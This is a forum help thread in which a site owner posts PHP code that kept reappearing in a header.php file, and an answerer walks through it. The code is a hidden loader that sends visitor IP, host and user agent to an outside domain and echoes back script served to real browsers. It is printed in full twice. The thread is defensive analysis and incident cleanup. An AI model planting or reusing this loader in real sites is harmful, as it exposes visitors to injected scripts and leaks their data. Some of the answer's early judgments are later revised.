Avast was popping up now and then on one of my websites. A bit odd as I am quite strict with security, but i checked the index.php file and all related includes and scripts. Found some odd PHP code in my "header.php" file which I removed.
Tonight, again, avast popped up and despite my FTP data suggesting the file "hasnt been edited since i fixed it", the code is there again. I've now changed passwords and all that stuff.
Here's the PHP code in question, any advice would be good on what the heck this is doing!
<?php
$wp_bskr = 'inf';
$wp_tcc = 'template';
error_reporting(0);
ini_set('display_errors',0);
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_hrmr) && !preg_match ('/bot/i', $wp_hrmr))) {
$wp_drss="http://".$wp_tcc.$wp_bskr.".com/".$wp_bskr."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_hrmr);
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$wp_drss);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_wvw = curl_exec ($ch);
curl_close($ch);
}
if ( substr($wp_wvw,1,3) === 'scr' ) {
echo $wp_wvw;
}
?>
********* Update ************
Thanks esqew for looking into this more deeply and providing the detailed info in your blog post. Scary stuff indeed. Got a little update for you on my end.
First, using avast logs (from when my site was detected as having malware), a bit of searching through google, I found another example of a very similar code and the IP address flagged by avast on my end matched this post in question. Some info was available here to narrow things down: malware-traffic-analysis.n*t/2014/05/11/index.html . I think that was the post anyway. New to the forum, unsure if I can post links so i've starred out the "net" tld.
From there, I took the matching IP, a url that contained a javascript, whois'd it and passed on all the info to the registrar. They took a look at it from their end and confirmed there was malicious goings on and to my suprise, replied within an hour and have suspended the domain and all connected to this IP.
Second, my webhost found how they think the leak was achieved. Without giving full in depth details, I realised i had an old wordpress installation (by old I mean, one I hadn't used & forgotten about for years, not updated since maybe 2010 so easily vulnerable I presume). From their logs, it looked like that was the way in to my server as I have no other scripts installed. Since a few days ago, i changed all passwords and deleted WP completely since it was no longer in use and things appear ok at present.
Looks to be some sort of backdoor, we can explore this further. The first few lines appear to be setting some variables making the code harder to read/detect:
$wp_bskr = 'inf'; // simple string settings
$wp_tcc = 'template'; // simple string settings
error_reporting(0); // making errors silent, so they are close to undetectable
ini_set('display_errors',0); // making errors silent, so they are close to undetectable
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT']; // grab the user-agent string from the requesting party
It's then building a URL based on those strings:
http://templateinf.com/inf/?...
... which contains a bunch of information about your User-Agent, your IP address and the page it's coming from.
It then runs a regular expression on that $wp_hrmr variable (your user-agent string) to check to see if it's Gecko or MSIE and doesn't contain "bot" (with sloppy, unnecessary parenthesis, which I've cleaned a bit):
if (preg_match('/Gecko|MSIE/i', $wp_hrmr) && !preg_match('/bot/i', $wp_hrmr)) {
If those conditions are met, it's creating a cURL request to that skeleton URL it created before:
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$wp_drss);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_wvw = curl_exec ($ch);
curl_close($ch);
It's then looking at the output and if it contains the string "scr" at a specific point in the string, it's echoing the output returned to the browser:
if ( substr($wp_wvw,1,3) === 'scr' ){ echo $wp_wvw; }
From my personal judgment, this is something an automated tool is putting there either to collect usage statistics of a template (deductible from the URL) or to alert that central server that the endpoint it's reporting from is vulnerable to a certain exploit (or maybe a combination of the two). However, it seems not obfuscated enough to justify its categorization as malware, and nor is it human-readable enough to be legitimate. Its error-silencing code certainly points to the former, but it See update below for more infoechos output into the buffer. It is a peculiar piece of code either way.
Nevertheless, this is a HUGE security risk, and you need to contact your hosting provider right away as there may be a bigger issue existing on your hosting network than just your site. While this particular piece of code doesn't do anything particularly malicious, it's still a risk that should be dealt with promptly before you continue with anything else.
As @Jonathan mentioned in the comments on the OP, any code that appears on your website that you haven't written should be subject to intense inspection.
Update
After writing this up tonight for a blog experiment I'm conducting, I've made great strides in understanding this malware.
Without seeing your current server configuration, it is a challenge for me to figure out how this code made it into your environment in the first place. However, I find it safe to say that this code will be used at some point in the future for mass XSS attacks.
The letters scr tipped me off that the contents of the output from the cURL request will eventually end up containing this string, which is an easy way of filtering output that doesn't start with <script>.
Once the attacker activates the include on their end, the server will most likely begin replying to the requests with Javascript-based code and attacking clients as they visit websites. The attacker may be waiting on the release of a widespread Javascript engine bug they can exploit to do even more malicious things than just XSS (probably like remote code execution).
With enough infected servers, the attackers could leverage these backdoors for anything: Javascript-based Bitcoin mining, Javascript-based DDOS, etc.